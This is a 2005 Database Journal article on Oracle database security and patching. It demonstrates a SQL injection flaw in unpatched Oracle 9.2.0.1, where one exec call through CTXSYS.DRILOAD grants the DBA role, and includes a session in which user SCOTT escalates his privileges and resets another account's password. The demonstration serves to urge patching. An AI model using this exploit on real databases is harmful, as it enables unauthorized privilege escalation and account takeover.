Database Journal
MS SQL Oracle DB2 Access MySQL PostgreSQL Sybase PHP SQL Etc SQL Scripts & Samples Links Database Forum

» Database Journal Home
» Database Articles
» Database Tutorials
MS SQL
Oracle
DB2
MS Access
MySQL
» RESOURCES
Database Tools
SQL Scripts & Samples
Links
» Database Forum
» Sitemap
Free Newsletters:
DatabaseDaily  
News Via RSS Feed


follow us on Twitter
Database Journal |DBA Support |SQLCourse |SQLCourse2
 

Featured Database Articles

Oracle

Posted Nov 8, 2005

Database Security and Patches - Part 1

By Steve Callan

For some products, keeping up with patches is almost a full time job in and of itself. Microsoft has certainly garnered a lot of attention when it comes to patches and security updates. Chances are that the computer you are using to read this article has an automatic update service running. The description of the "Automatic Updates" service can be seen in the properties of the service:

Enables the download and installation of Windows updates. If this service is disabled, this computer will not be able to use the Automatic Updates feature or the Windows Update Web site.

How does this relate to an Oracle database? For one, there is no automatic update service, two, patches and updates (until recently) were not published on a regular basis, and three, unless you have a support contract with Oracle Corporation, you may not have access to a patch or patch set. With respect to licensing, both Microsoft and Oracle products require licensing, but with Microsoft, you get patches and fixes as part of the base price.

An area of Oracle Technology Network you should be familiar with (if you are not already) is the Security section. If you are concerned about database security, you should know what the patch release and installation process is like, and what is fixed in a patch. For most DBAs, the list of fixes included in a patch will not apply to your environment, but you should know this fact as opposed to assuming it.

Outline of this series

Part 1 of this series provides a review of database security and looks at a well-known security hole in Oracle 9.2.0.1. If you have never exploited a security flaw, this will allow you to perform your first "hack" on a database. Part 2 will cover the mechanics of patching (i.e., the where and how of patching). Finally, Part 3 will go into more detail on hacking a database using The Database Hacker's Handbook.

Oracle Database Security

Three ways to delineate database security are data, system and user security. Security flaws (i.e., software bugs) can provide entry points via these three categories. Data security is probably the most secure because of how data access is controlled within the RDBMS. Another way to view security is to consider outside versus inside. Obviously, you want to prevent unauthorized access or entry into the database, but once inside, preventing unauthorized access to manipulation of data is just as critical.

Yet another way to view security is by type of user. Three important categories are administrator, developer, and user, and it goes without saying that each category has different levels of permissions based on their roles. In UNIX environments, the DBA is not allowed to become root (or have root access). Likewise, although you as a DBA cannot prevent "root" from becoming "oracle," you should not include root in the dba or oinstall groups.

What should you do with respect to implementing security? As a good starting point, you can refer to the following three pieces of documentation:

Oracle lists ten items in the security checklist.

1.  Install only what is required

2.  Lock and expire default user accounts

3.  Change default user passwords

4.  Enable data dictionary protection

5.  Practice principle of least privilege

6.  Enforce access controls effectively

7.  Restrict operating system access

8.  Restrict network access

9.  Apply all security patches and workarounds

10. Contact Oracle Security Products

The fact of the matter is this: you can implement steps 1-8 and still be vulnerable to a security weakness due to software quality issues related to step 9. And when it comes to patches, two events can take place:

1.  A problem is fixed

2.  A problem is created

Hopefully, it is a whole lot more of the former than the latter. From a software maintenance and support perspective, what can be worse than having to release a patch to fix a patch?


Oracle's Security Technology Center

The Security Technology Center is a good starting place to learn more about the mechanics of how Oracle announces and distributes security and update alerts.

In the Key Resources frame at the top right, click Security Alerts and Processes. This page provides links to the following security-related subjects:

As a convenience for you, Oracle Corporation will send you alerts via email. Oracle releases critical patch updates four times a year (January, April, July and October). Part 2 of this series will revisit some of the topics shown on this page. For now, demonstrating a security flaw seen in version 9.2.0.1 should get your attention and make you interested in keeping up with patches.

SQL Injection

"SQL injection is a security vulnerability that occurs in the database layer of an application." (http://en.wikipedia.org/wiki/Sql_injection) In simple terms, SQL injection can occur when you add extra things (e.g., strings) to a SQL statement and the output produces undesired results.

The patch related to Alert 68, Oracle Security Update included a fix for a SQL injection error. The error grants the DBA privilege to whomever you specify in a simple one-line execute command. To demonstrate this error, I am using Oracle 9.2.0.1, which is the base release for Oracle9i Release 2 (no patches have been installed).

The necessary condition to generate this security problem is to unlock the CTXSYS account, an administrative account installed by default. The CTXSYS user is used with Oracle Text.

Once the CTXSYS account has been unlocked (alter user ctxsys account unlock), anyone can issue the following command:

SQL> exec ctxsys.driload.validate_stmt('grant dba to public');

The output or feedback seen when executing this statement has nothing to do with appearing to grant the DBA role to PUBLIC (or any other username you care to use). I will let Scott grant DBA to himself and perform some DBA-type operations.

SQL> CONN SYSTEM/MANAGER
Connected.
SQL> REVOKE DBA FROM SCOTT;
revoke dba from scott
*
ERROR at line 1:
ORA-01951: ROLE 'DBA' not granted to 'SCOTT'

SQL> CONN SCOTT/TIGER
Connected.
SQL> EXEC CTXSYS.DRILOAD.VALIDATE_STMT('GRANT DBA TO SCOTT');
BEGIN ctxsys.driload.validate_stmt('grant dba to scott'); END;
*
ERROR at line 1:
ORA-06510: PL/SQL: unhandled user-defined exception
ORA-06512: at "CTXSYS.DRILOAD", line 42
ORA-01003: no statement parsed
ORA-06512: at line 1
SQL> GRANT DROP ANY TABLE TO SCOTT;
Grant succeeded.
SQL> CONN HR/HR
ERROR:
ORA-28000: the account is locked
Warning: You are no longer connected to ORACLE.
SQL> CONN SCOTT/TIGER
Connected.
SQL> ALTER USER HR ACCOUNT UNLOCK;
User altered.
SQL> CONN HR/HR
ERROR:
ORA-01017: invalid username/password; logon denied
Warning: You are no longer connected to ORACLE.
SQL> CONN SCOTT/TIGER
Connected.
SQL> ALTER USER HR IDENTIFIED BY HR;
User altered.
SQL> CONN HR/HR
Connected.

With the DBA role granted to Scott via a very simple exec statement using SQL injection, Scott was able to grant himself a system level privilege and manage a user account. Does this error get your attention and make you want to stay up on the latest patch from Oracle?

In Closing

If your company makes an application which uses the Oracle RDBMS as its backend database, what are you doing with respect to keeping Oracle up to date? For example, let's say your application first came out using Oracle 9.2.0.1 for the database and your customers do not typically have a DBA to support the application. Have you continued to release updates of your application but not update the RDBMS software accordingly? A lax or uninformed approach to maintaining security can leave not just you, but your customers in jeopardy as well.

» See All Articles by Columnist Steve Callan



Oracle Archives

Comment and Contribute

 


(Maximum characters: 1200). You have characters left.

 

 




Latest Forum Threads
Oracle Forum
Topic By Replies Updated
Oracle Data Mining: Classification jan.hasller 0 July 5th, 07:19 AM
Find duplicates - Unique IDs Lava 5 July 2nd, 08:30 AM
no matching unique or primary key rcanter 1 April 25th, 12:32 PM
Update values of one table based on condition of values in other table using Trigger Gladiator 3 February 29th, 06:01 PM